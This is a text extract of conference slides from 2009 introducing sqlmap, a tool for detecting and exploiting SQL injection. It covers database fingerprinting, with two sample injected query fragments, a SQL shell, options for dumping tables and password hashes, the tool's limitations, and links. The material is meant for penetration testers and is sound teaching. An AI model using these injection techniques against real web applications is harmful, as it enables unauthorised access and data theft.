  • 31. Intercon III, London – January 9, 2009 31 Example of basic back-end DBMS fingerprint on PostgreSQL 8.3 ● The techniques in use are two ● The two SQL queries injected to identify it are: AND integer::int=integer ● SQL dialect AND COALESCE(integer, NULL)=integer ● Specific function static output comparison DBMS fingerprint (3/4)
  • 32. Intercon III, London – January 9, 2009 32 Example of extensive back-end DBMS fingerprint on Microsoft SQL Server 2005 ● The techniques in use are three ● The result is: active fingerprint: Microsoft SQL Server 2005 banner parsing fingerprint: Microsoft SQL Server  2005 Service Pack 0 version 9.00.1399 html error message fingerprint: Microsoft SQL Server ● Active fingerprint refers to SQL dialect and specific functions static output comparison DBMS fingerprint (4/4)
  • 33. Intercon III, London – January 9, 2009 33 ● Fingerprinting is a key step in penetration testing ● It is not only about back-end DBMS software ● There are techniques and tools to fingerprint the web server, the web application technology and their underlying system ● What about the back-end DBMS underlying system? ● sqlmap can fingerprint them without making extra requests: ● Web/application server and web application technology: by parsing the HTTP response headers (Server, X-AspNet- Version, X-Powered-By, etc.) – known technique ● Back-end DBMS operating system: by parsing the DBMS banner – over-looked technique More on fingerprint
  • 34. Intercon III, London – January 9, 2009 34 Second demo A demo, as in "demolish", or "demonstration"? Cyclops, X-Men: Evolution
  • 35. Intercon III, London – January 9, 2009 35 It might comes in handy sometimes to be able to run your own SQL queries, mainly for file system read and write access and operating system command execution The tool inspects the provided statement: ● If it is a SELECT statement sqlmap uses, depending on user's options, the inferential blind or the UNION query technique to retrieve its output ● If it is a data manipulation statement, a transaction statement or any other valid SQL statement, it uses stacked queries to run it if the web application supports them Give me a SQL shell!
  • 36. Intercon III, London – January 9, 2009 36 Automation vs granularity (1/2) sqlmap has been developed to make it simple for a busy penetration tester to detect and exploit SQL injection vulnerabilities in web applications ● Providing it with a source of targets, it can automatically: ● Detect all possible SQL injections and confirm them ● Identify the SQL query syntax ● Fingerprint the back-end DBMS ● The user does not have to look on the Net for DBMS specific queries then manually inject them to enumerate users password hashes, check if the session user is a DBA, enumerate table columns' datatype, etc. ● There is an option to dump the whole back-end DBMS
  • 37. Intercon III, London – January 9, 2009 37 Automation vs granularity (2/2) ● The tester is a professional, he knows what he does and why ● There are options to specify: ● How to compare True and False HTTP responses ● A single or more testable parameters ● The SQL payload prefix and postfix ● A single or a range of entries to dump from a table ● A single or multiple columns to dump from a table ● Custom SQL statements to run ● Options can be specified from both command line and/or configuration file ● Options are documented in the user's manual with examples
  • 38. Intercon III, London – January 9, 2009 38 Third demo I get tons of uninteresting mail, and system announcements about babies born, etc. At least a demo MIGHT have been interesting Richard Stallman
  • 39. Intercon III, London – January 9, 2009 39 Limitations Can sqlmap fail to detect or to exploit a SQL injection vulnerability? ● Yes, in some cases mainly because it does not support: ● SQL injection on SQL clauses other than WHERE ● Time based blind SQL injection technique ...but I am working on these and others!
  • 40. Intercon III, London – January 9, 2009 40 Want to contribute? I am always looking forward to code contributions Try it, find bugs, send feature requests, review the code and the documentation, contribute on the mailing lists! I can provide you with: ● Details on code internals ● Write access to the Subversion repository ● Access to the development platform ● A beer if you are in London area
  • 41. Intercon III, London – January 9, 2009 41 Links and contacts Homepage: http://sqlmap.sourceforge.net Documentation: ● http://sqlmap.sourceforge.net/dev/index.html ● http://sqlmap.sourceforge.net/doc/README.pdf Mailing lists: ● https://lists.sourceforge.net/lists/listinfo/sqlmap-users ● https://lists.sourceforge.net/lists/listinfo/sqlmap-devel Personal contacts: ● E-mail / Jabber: bernardo.damele@gmail.com ● Blog: http://bernardodamele.blogspot.com
  • 42. Intercon III, London – January 9, 2009 42 References ● OWASP Testing Guide, Open Web Application Security Project ● Exploit of a Mom, xkcd ● Deep Blind SQL Injection, Ferruh Mavituna (Portcullis Computer Security Ltd) ● Microsoft SQL Server sp_replwritetovarbin limited memory overwrite vulnerability, Bernhard Mueller (SEC Consult Vulnerability Lab) ● Metasploit Framework, H D Moore and the Metasploit development team ● w3af, Andres Riancho and the w3af development team ● Data-mining with SQL Injection and Inference, David Litchfield (NGS Software) ● Advanced SQL Injection, Victor Chapela (Sm4rt Security Services) ● Python difflib, Python Software Foundation ● NULL (SQL), Wikipedia ● Agent oriented SQL abuse, Fernando Russ and Diego Tiscornia (CORE Security) ● Insight on UNION query SQL injection, Bernardo Damele A. G. ● DBMS Fingerprint, Daniele Bellucci (OWASP Backend Security Project)
  • 43. Intercon III, London – January 9, 2009 43 Questions? Thanks for your attention